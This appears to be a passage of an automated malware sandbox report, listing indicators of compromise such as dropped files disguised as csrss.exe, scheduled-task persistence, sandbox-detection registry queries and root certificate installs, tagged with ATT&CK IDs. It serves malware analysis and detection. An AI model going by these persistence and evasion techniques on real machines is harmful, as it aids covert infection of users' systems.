File created	C:\Windows\rss\csrss.exe	RulIkNIievDhgHPXlkoZaAnm.exe
File created	C:\Windows\windefender.exe	csrss.exe
File created	C:\Windows\Tasks\biPxHmULFllsbMgnpt.job	schtasks.exe
File created	C:\Windows\Tasks\explorha.job	2219fa1e23dac10134da6a6be9d6634a250dc2fc4cfdac1ad48d6e41c9406203.exe
File opened for modification	C:\Windows\rss	FykBDDaqRGg1QNd3nMWeo2cZ.exe
File created	C:\Windows\rss\csrss.exe	FykBDDaqRGg1QNd3nMWeo2cZ.exe

Launches sc.exe 6 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2276	sc.exe
540	sc.exe
936	sc.exe
1164	sc.exe
1308	sc.exe
2316	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 4 IoCs

pid	pid_target	Process	procid_target
2720	3012	WerFault.exe	32
780	2868	WerFault.exe
2288	856	WerFault.exe	160
2972	1660	WerFault.exe	43

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	uuw.3.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	uuw.3.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	uuw.3.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	RegAsm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegAsm.exe

Creates scheduled task(s) 1 TTPs 21 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2812	schtasks.exe
772	schtasks.exe
1612	schtasks.exe
668	schtasks.exe
1788	schtasks.exe
1716	schtasks.exe
1868	schtasks.exe
2824	schtasks.exe
1464	schtasks.exe
2060	schtasks.exe
1820	schtasks.exe
820	schtasks.exe
1340	schtasks.exe
2060	schtasks.exe
1708	schtasks.exe
884	schtasks.exe
1572	schtasks.exe
2636	schtasks.exe
876	schtasks.exe
2020	schtasks.exe
2912	schtasks.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace\Session	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-522 = "N. Central Asia Standard Time"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{435F4A4E-790A-4A11-B4B3-807F1F0DF037}\WpadDecisionTime = 00fe106aa89dda01	OvGGKZW.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	RulIkNIievDhgHPXlkoZaAnm.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	OvGGKZW.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-421 = "Russian Daylight Time"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	OvGGKZW.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	wscript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	OvGGKZW.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	OvGGKZW.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-471 = "Ekaterinburg Daylight Time"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	OvGGKZW.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	cxhEJDg.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f006c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	OvGGKZW.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached	XqmUpkH.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	OvGGKZW.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-21 = "Cape Verde Daylight Time"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe

Modifies system certificate store 2 TTPs 11 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	csrss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064	jok.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 0f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a32000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a440f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f392000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 19000000010000001000000014c3bd3549ee225aece13734ad8ca0b81400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3040000000100000010000000e4a68ac854ac5242460afd72481b2a442000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530